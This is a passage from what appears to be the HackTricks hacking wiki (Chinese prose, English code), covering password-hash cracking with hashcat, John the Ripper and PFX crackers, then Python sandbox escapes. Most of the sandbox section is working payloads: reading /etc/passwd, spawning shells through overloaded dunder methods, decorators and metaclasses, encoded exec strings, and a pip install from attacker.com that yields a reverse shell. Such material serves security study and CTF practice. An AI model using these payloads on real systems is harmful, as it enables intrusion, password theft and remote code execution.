hashValue="hFq32ZstMEekuneGzHEfxeBZh3hnmO9nvv8qVHV8Ux+t+39/22E3pfr8aSuXISfrRV9UVfNEzidgv+Uvf8C5Tg" saltValue="U9oZfaVCkz5jWdhs9AA8nA" spinCount="100000" sheet="1" objects="1" scenarios="1"/>
# Remove that line and rezip the file
zip -r file.xls .
```

#### PFX 证书

```bash
# From https://github.com/Ridter/p12tool
./p12tool crack -c staff.pfx -f /usr/share/wordlists/rockyou.txt
# From https://github.com/crackpkcs12/crackpkcs12
crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx
```

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-78abb7891633b1e8147b4e743e4f00af375d3cd6%2Fimage%20(45).png?alt=media" alt=""><figcaption></figcaption></figure>

\
使用 [**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks) 来轻松构建和**自动化工作流程**，使用世界上**最先进**的社区工具。\
立即获取访问权限：

{% embed url="<https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks>" %}

### 工具

**哈希示例：** <https://openwall.info/wiki/john/sample-hashes>

#### 哈希标识符

```bash
hash-identifier
> <HASH>
```

#### 字典列表

* **Rockyou**
* [**Probable-Wordlists**](https://github.com/berzerk0/Probable-Wordlists)
* [**Kaonashi**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/wordlists)
* [**Seclists - Passwords**](https://github.com/danielmiessler/SecLists/tree/master/Passwords)

#### **字典生成工具**

* [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** 高级键盘漫步生成器，可配置基本字符、键位图和路径。

```bash
kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt
```

#### John变异

阅读 ***/etc/john/john.conf*** 并进行配置

```bash
john --wordlist=words.txt --rules --stdout > w_mutated.txt
john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules
```

#### Hashcat

**Hashcat 攻击**

* **字典攻击** (`-a 0`) with rules

**Hashcat** 已经带有一个包含规则的文件夹，但你也可以在[这里找到其他有趣的规则](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules)。

```
hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule
```

* **字典组合器** 攻击

可以使用 hashcat 将 2 个字典**合并为 1 个**。\
如果列表 1 包含单词 **"hello"**，第二个包含两行单词 **"world"** 和 **"earth"**。将生成单词 `helloworld` 和 `helloearth`。

```bash
# This will combine 2 wordlists
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt

# Same attack as before but adding chars in the newly generated words
# In the previous example this will generate:
## hello-world!
## hello-earth!
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt -j $- -k $!
```

* **掩码攻击** (`-a 3`)

```bash
# Mask attack with simple mask
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt ?u?l?l?l?l?l?l?l?d

hashcat --help #will show the charsets and are as follows
? | Charset
===+=========
l | abcdefghijklmnopqrstuvwxyz
u | ABCDEFGHIJKLMNOPQRSTUVWXYZ
d | 0123456789
h | 0123456789abcdef
H | 0123456789ABCDEF
s | !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
a | ?l?u?d?s
b | 0x00 - 0xff

# Mask attack declaring custom charset
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt -1 ?d?s ?u?l?l?l?l?l?l?l?1
## -1 ?d?s defines a custom charset (digits and specials).
## ?u?l?l?l?l?l?l?l?1 is the mask, where "?1" is the custom charset.

# Mask attack with variable password length
## Create a file called masks.hcmask with this content:
?d?s,?u?l?l?l?l?1
?d?s,?u?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?l?l?1
## Use it to crack the password
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask
```

* 字典 + 掩码 (`-a 6`) / 掩码 + 字典 (`-a 7`) 攻击

```bash
# Mask numbers will be appended to each word in the wordlist
hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d

# Mask numbers will be prepended to each word in the wordlist
hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt
```

**Hashcat 模式**

```bash
hashcat --example-hashes | grep -B1 -A2 "NTLM"
```

### 破解 Linux Hashes - /etc/shadow 文件

Brute-forcing is a common technique used to crack password hashes. In the case of Linux systems, the password hashes are stored in the `/etc/shadow` file. By brute-forcing these hashes, an attacker can potentially recover the original passwords.

```
500 | md5crypt $1$, MD5(Unix)                          | Operating-Systems
3200 | bcrypt $2*$, Blowfish(Unix)                      | Operating-Systems
7400 | sha256crypt $5$, SHA256(Unix)                    | Operating-Systems
1800 | sha512crypt $6$, SHA512(Unix)                    | Operating-Systems
```

## Brute Force

Brute force attacks are a common way to crack Windows hashes. This method involves trying all possible combinations of characters until the correct password is found. There are various tools available to automate the brute force process, such as **John the Ripper** and **Hashcat**.

### Steps to Crack Windows Hashes using Brute Force:

1. **Capture the Hash**: Obtain the Windows hash that you want to crack.
2. **Choose a Tool**: Select a suitable tool for brute force attacks.
3. **Set Parameters**: Configure the tool with the necessary parameters, such as character set, minimum and maximum password length, etc.
4. **Initiate the Attack**: Start the brute force attack using the chosen tool.
5. **Wait for Results**: Depending on the complexity of the password, the tool will continue trying different combinations until the correct one is found.
6. **Access the Password**: Once the correct password is identified, you can use it to access the Windows system.

It is important to note that brute force attacks can be time-consuming, especially for complex passwords. Additionally, using strong and unique passwords can help prevent successful brute force attacks.

```
3000 | LM                                               | Operating-Systems
1000 | NTLM                                             | Operating-Systems
```

### Brute-Force

Brute-forcing is a common technique used to crack hashes. It involves trying all possible combinations of characters until the correct one is found. This method is often used when other techniques, such as dictionary attacks, fail to crack the hash.

#### Tools

There are several tools available for brute-forcing hashes, including:

* **Hashcat**: A popular password cracking tool that supports multiple hashing algorithms.
* **John the Ripper**: Another widely used password cracking tool that can perform brute-force attacks.
* **Hydra**: A versatile password cracking tool that supports various protocols and services.

#### Methodologies

When brute-forcing hashes, it is important to consider the following methodologies:

1. **Character Set**: Determine the character set used in the hash (e.g., lowercase letters, uppercase letters, numbers, special characters).
2. **Password Length**: Estimate the password length to narrow down the search space.
3. **Optimization**: Use rules and optimizations to speed up the brute-forcing process.
4. **Wordlists**: Combine brute-forcing with wordlists to increase the chances of success.

By following these methodologies and using the right tools, hackers can increase their chances of successfully cracking common application hashes.

```
900 | MD4                                              | Raw Hash
0 | MD5                                              | Raw Hash
5100 | Half MD5                                         | Raw Hash
100 | SHA1                                             | Raw Hash
10800 | SHA-384                                          | Raw Hash
1400 | SHA-256                                          | Raw Hash
1700 | SHA-512                                          | Raw Hash
```

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

其他支持HackTricks的方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-78abb7891633b1e8147b4e743e4f00af375d3cd6%2Fimage%20(45).png?alt=media" alt=""><figcaption></figcaption></figure>

\
使用[**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks)轻松构建和**自动化工作流程**，利用世界上**最先进**的社区工具。\
立即获取访问权限：

{% embed url="<https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks>" %}


# Python Sandbox Escape & Pyscript

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-78abb7891633b1e8147b4e743e4f00af375d3cd6%2Fimage%20(3)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png?alt=media" alt=""><figcaption></figcaption></figure>

\
使用[**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks)轻松构建和**自动化工作流程**，利用世界上**最先进**的社区工具。\
立即获取访问权限：

{% embed url="<https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks>" %}

**有趣的页面查看：**

* [**Pyscript黑客技巧**](/generic-methodologies-and-resources/python/pyscript)
* [**Python反序列化**](/pentesting-web/deserialization#python)
* [**绕过Python沙箱的技巧**](/generic-methodologies-and-resources/python/bypass-python-sandboxes)
* [**基本的Python网络请求语法**](/generic-methodologies-and-resources/python/web-requests)
* [**基本的Python语法和库**](/generic-methodologies-and-resources/python/basic-python)

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-78abb7891633b1e8147b4e743e4f00af375d3cd6%2Fimage%20(3)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png?alt=media" alt=""><figcaption></figcaption></figure>

\
使用[**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks)轻松构建和**自动化工作流程**，利用世界上**最先进**的社区工具。\
立即获取访问权限：

{% embed url="<https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks>" %}

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


# Bypass Python sandboxes

<details>

<summary><strong>从零开始学习 AWS 黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS 红队专家）</strong></a><strong>！</strong></summary>

支持 HackTricks 的其他方式：

* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)\*\* 上关注我们\*\*。
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。

</details>

**Try Hard Security Group**

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-dae1ef8c660e0243188462f22f417bbb1a2719d3%2Ftelegram-cloud-document-1-5159108904864449420.jpg?alt=media" alt=""><figcaption></figcaption></figure>

{% embed url="<https://discord.gg/tryhardsecurity>" %}

***

这些是绕过 Python 沙盒保护并执行任意命令的一些技巧。

## 命令执行库

您需要了解的第一件事是，您是否可以直接使用某个已导入的库执行代码，或者您是否可以导入以下任何库：

```python
os.system("ls")
os.popen("ls").read()
commands.getstatusoutput("ls")
commands.getoutput("ls")
commands.getstatus("file/path")
subprocess.call("ls", shell=True)
subprocess.Popen("ls", shell=True)
pty.spawn("ls")
pty.spawn("/bin/bash")
platform.os.system("ls")
pdb.os.system("ls")

#Import functions to execute commands
importlib.import_module("os").system("ls")
importlib.__import__("os").system("ls")
imp.load_source("os","/usr/lib/python3.8/os.py").system("ls")
imp.os.system("ls")
imp.sys.modules["os"].system("ls")
sys.modules["os"].system("ls")
__import__("os").system("ls")
import os
from os import *

#Other interesting functions
open("/etc/passwd").read()
open('/var/www/html/input', 'w').write('123')

#In Python2.7
execfile('/usr/lib/python2.7/os.py')
system('ls')
```

请记住，`open` 和 `read` 函数可以用于在 Python 沙盒内读取文件，并编写一些代码来绕过沙盒执行。

{% hint style="danger" %}
**Python2 input()** 函数允许在程序崩溃之前执行 Python 代码。
{% endhint %}

Python 会尝试**首先从当前目录加载库**（以下命令将打印 Python 加载模块的位置）：`python3 -c 'import sys; print(sys.path)'`

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-84735e3840827ae4681282ffe35238e474a72630%2Fimage%20\(552\).png?alt=media)

## 使用默认安装的 Python 包绕过 pickle 沙盒

### 默认包

您可以在此处找到**预安装的包列表**：<https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html>\
请注意，通过 pickle，您可以使 Python 环境**导入系统中安装的任意库**。\
例如，加载以下 pickle 时，将导入 pip 库以使用它：

```python
#Note that here we are importing the pip library so the pickle is created correctly
#however, the victim doesn't even need to have the library installed to execute it
#the library is going to be loaded automatically

import pickle, os, base64, pip
class P(object):
def __reduce__(self):
return (pip.main,(["list"],))

print(base64.b64encode(pickle.dumps(P(), protocol=0)))
```

有关pickle工作原理的更多信息，请查看这里：<https://checkoway.net/musings/pickle/>

### Pip软件包

**@isHaacK**分享的技巧

如果您可以访问`pip`或`pip.main()`，您可以安装任意软件包并调用以获取反向shell：

```bash
pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
```

你可以在这里下载创建反向shell的软件包。请注意，在使用之前，你应该**解压缩它，更改`setup.py`，并将你的IP放入反向shell中**：

{% file src="/files/kKmadFVED6gwhCHhw3oU" %}

{% hint style="info" %}
这个软件包叫做`Reverse`。然而，它经过特殊设计，当你退出反向shell时，安装的其余部分将失败，因此当你离开时**不会在服务器上留下任何额外的Python软件包**。
{% endhint %}

## 评估Python代码

{% hint style="warning" %}
请注意，exec允许多行字符串和“;”，但eval不允许（检查海象操作符）
{% endhint %}

如果某些字符被禁止，你可以使用**十六进制/八进制/Base64**表示来**绕过**限制：

```python
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
eval("__import__('os').system('ls')") #Eval doesn't allow ";"
eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec')) #This way eval accept ";"
__import__('timeit').timeit("__import__('os').system('ls')",number=1)
#One liners that allow new lines and tabs
eval(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
exec(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
```

```python
#Octal
exec("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\154\163\47\51")
#Hex
exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x6c\x73\x27\x29")
#Base64
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
```

### 允许评估Python代码的其他库

```python
#Pandas
import pandas as pd
df = pd.read_csv("currency-rates.csv")
df.query('@__builtins__.__import__("os").system("ls")')
df.query("@pd.io.common.os.popen('ls').read()")
df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")

# The previous options work but others you might try give the error:
# Only named functions are supported
# Like:
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
```

## 运算符和简便技巧

```python
# walrus operator allows generating variable inside a list
## everything will be executed in order
## From https://ur4ndom.dev/posts/2020-06-29-0ctf-quals-pyaucalc/
[a:=21,a*2]
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
```

## 通过编码（UTF-7）绕过保护

在[**这篇文章**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy)中，使用UTF-7来加载和执行任意Python代码，绕过了一个明显的沙盒：

```python
assert b"+AAo-".decode("utf_7") == "\n"

payload = """
# -*- coding: utf_7 -*-
def f(x):
return x
#+AAo-print(open("/flag.txt").read())
""".lstrip()
```

也可以使用其他编码方式来绕过，例如 `raw_unicode_escape` 和 `unicode_escape`。

## 无需调用的Python执行

如果你处于一个**不允许你进行调用**的Python监狱中，仍然有一些方法可以**执行任意函数、代码**和**命令**。

### 使用[装饰器](https://docs.python.org/3/glossary.html#term-decorator)进行RCE

```python
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
@exec
@input
class X:
pass

# The previous code is equivalent to:
class X:
pass
X = input(X)
X = exec(X)

# So just send your python code when prompted and it will be executed


# Another approach without calling input:
@eval
@'__import__("os").system("sh")'.format
class _:pass
```

### 利用创建对象和重载实现RCE

如果你可以**声明一个类**并**创建该类的一个对象**，你可以**编写/重写不同的方法**，这些方法可以在**不需要直接调用它们**的情况下被**触发**。

#### 使用自定义类实现RCE

你可以修改一些**类方法**（通过重写现有的类方法或创建一个新的类）来使它们在**被触发**时执行任意代码，而无需直接调用它们。

```python
# This class has 3 different ways to trigger RCE without directly calling any function
class RCE:
def __init__(self):
self += "print('Hello from __init__ + __iadd__')"
__iadd__ = exec #Triggered when object is created
def __del__(self):
self -= "print('Hello from __del__ + __isub__')"
__isub__ = exec #Triggered when object is created
__getitem__ = exec #Trigerred with obj[<argument>]
__add__ = exec #Triggered with obj + <argument>

# These lines abuse directly the previous class to get RCE
rce = RCE() #Later we will see how to create objects without calling the constructor
rce["print('Hello from __getitem__')"]
rce + "print('Hello from __add__')"
del rce

# These lines will get RCE when the program is over (exit)
sys.modules["pwnd"] = RCE()
exit()

# Other functions to overwrite
__sub__ (k - 'import os; os.system("sh")')
__mul__ (k * 'import os; os.system("sh")')
__floordiv__ (k // 'import os; os.system("sh")')
__truediv__ (k / 'import os; os.system("sh")')
__mod__ (k % 'import os; os.system("sh")')
__pow__ (k**'import os; os.system("sh")')
__lt__ (k < 'import os; os.system("sh")')
__le__ (k <= 'import os; os.system("sh")')
__eq__ (k == 'import os; os.system("sh")')
__ne__ (k != 'import os; os.system("sh")')
__ge__ (k >= 'import os; os.system("sh")')
__gt__ (k > 'import os; os.system("sh")')
__iadd__ (k += 'import os; os.system("sh")')
__isub__ (k -= 'import os; os.system("sh")')
__imul__ (k *= 'import os; os.system("sh")')
__ifloordiv__ (k //= 'import os; os.system("sh")')
__idiv__ (k /= 'import os; os.system("sh")')
__itruediv__ (k /= 'import os; os.system("sh")') (Note that this only works when from __future__ import division is in effect.)
__imod__ (k %= 'import os; os.system("sh")')
__ipow__ (k **= 'import os; os.system("sh")')
__ilshift__ (k<<= 'import os; os.system("sh")')
__irshift__ (k >>= 'import os; os.system("sh")')
__iand__ (k = 'import os; os.system("sh")')
__ior__ (k |= 'import os; os.system("sh")')
__ixor__ (k ^= 'import os; os.system("sh")')
```

#### 使用[元类](https://docs.python.org/3/reference/datamodel.html#metaclasses)创建对象

元类允许我们做的关键事情是，通过使用目标类作为元类，创建一个新的类，从而**在不直接调用构造函数的情况下实例化一个类的实例**。

```python
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
# This will define the members of the "subclass"
class Metaclass(type):
__getitem__ = exec # So Sub[string] will execute exec(string)
# Note: Metaclass.__class__ == type

class Sub(metaclass=Metaclass): # That's how we make Sub.__class__ == Metaclass
pass # Nothing special to do

Sub['import os; os.system("sh")']

## You can also use the tricks from the previous section to get RCE with this object
```

#### 通过异常创建对象

当触发异常时，会自动创建一个 **Exception** 对象，无需直接调用构造函数（来自 [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez) 的技巧）:

```python
class RCE(Exception):
def __init__(self):
self += 'import os; os.system("sh")'
__iadd__ = exec #Triggered when object is created
raise RCE #Generate RCE object


# RCE with __add__ overloading and try/except + raise generated object
class Klecko(Exception):
__add__ = exec

try:
raise Klecko
except Klecko as k:
k + 'import os; os.system("sh")' #RCE abusing __add__

## You can also use the tricks from the previous section to get RCE with this object
```

### 更多远程代码执行

```python
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
# If sys is imported, you can sys.excepthook and trigger it by triggering an error
class X:
def __init__(self, a, b, c):
self += "os.system('sh')"
__iadd__ = exec
sys.excepthook = X
1/0 #Trigger it

# From https://github.com/google/google-ctf/blob/master/2022/sandbox-treebox/healthcheck/solution.py
# The interpreter will try to import an apt-specific module to potentially
# report an error in ubuntu-provided modules.
# Therefore the __import__ functions are overwritten with our RCE
class X():
def __init__(self, a, b, c, d, e):
self += "print(open('flag').read())"
__iadd__ = eval
__builtins__.__import__ = X
{}[1337]
```

### 使用内置的帮助和许可证读取文件

```python
__builtins__.__dict__["license"]._Printer__filenames=["flag"]
a = __builtins__.help
a.__class__.__enter__ = __builtins__.__dict__["license"]
a.__class__.__exit__ = lambda self, *args: None
with (a as b):
pass
```

## 内建函数

* [**Python2的内建函数**](https://docs.python.org/2/library/functions.html)
* [**Python3的内建函数**](https://docs.python.org/3/library/functions.html)

如果你可以访问\*\*`__builtins__`\*\*对象，你可以导入库（注意，你也可以在最后一节中使用其他字符串表示形式）:

```python
__builtins__.__import__("os").system("ls")
__builtins__.__dict__['__import__']("os").system("ls")
```

### 无内建函数

当你没有 `__builtins__` 时，你将无法导入任何东西，甚至无法读取或写入文件，因为**所有的全局函数**（如 `open`、`import`、`print`...）**都没有被加载**。\
然而，默认情况下，Python 会在内存中导入许多模块。这些模块可能看起来无害，但其中一些也**导入了危险的**功能，可以访问这些功能以获得**任意代码执行**。

在以下示例中，你可以看到如何**滥用**一些这些“**无害**”模块的加载，以**访问**其中的**危险** **功能**。

**Python2**

```python
#Try to reload __builtins__
reload(__builtins__)
import __builtin__

# Read recovering <type 'file'> in offset 40
().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
# Write recovering <type 'file'> in offset 40
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')

# Execute recovering __import__ (class 59s is <class 'warnings.catch_warnings'>)
().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']('os').system('ls')
# Execute (another method)
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__("func_globals")['linecache'].__dict__['os'].__dict__['system']('ls')
# Execute recovering eval symbol (class 59 is <class 'warnings.catch_warnings'>)
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]["eval"]("__import__('os').system('ls')")

# Or you could obtain the builtins from a defined function
get_flag.__globals__['__builtins__']['__import__']("os").system("ls")
```

#### Python3

#### Python3

```python
# Obtain builtins from a globally defined function
# https://docs.python.org/3/library/functions.html
help.__call__.__builtins__ # or __globals__
license.__call__.__builtins__ # or __globals__
credits.__call__.__builtins__ # or __globals__
print.__self__
dir.__self__
globals.__self__
len.__self__
__build_class__.__self__

# Obtain the builtins from a defined function
get_flag.__globals__['__builtins__']

# Get builtins from loaded classes
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
```

[**下面有一个更大的函数**](#recursive-search-of-builtins-globals)用于查找数十/**数百**个可以找到**内置函数**的**位置**。

#### Python2 和 Python3

```python
# Recover __builtins__ and make everything easier
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
__builtins__["__import__"]('os').system('ls')
```

### 内置载荷

```python
# Possible payloads once you have found the builtins
__builtins__["open"]("/etc/passwd").read()
__builtins__["__import__"]("os").system("ls")
# There are lots of other payloads that can be abused to execute commands
# See them below
```

## 全局变量和局部变量

检查 **`globals`** 和 **`locals`** 是了解你可以访问的内容的好方法。

```python
>>> globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
>>> locals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}

# Obtain globals from a defined function
get_flag.__globals__

# Obtain globals from an object of a class
class_obj.__init__.__globals__

# Obtaining globals directly from loaded classes
[ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x) ]
[<class 'function'>]

# Obtaining globals from __init__ of loaded classes
[ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x.__init__) ]
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 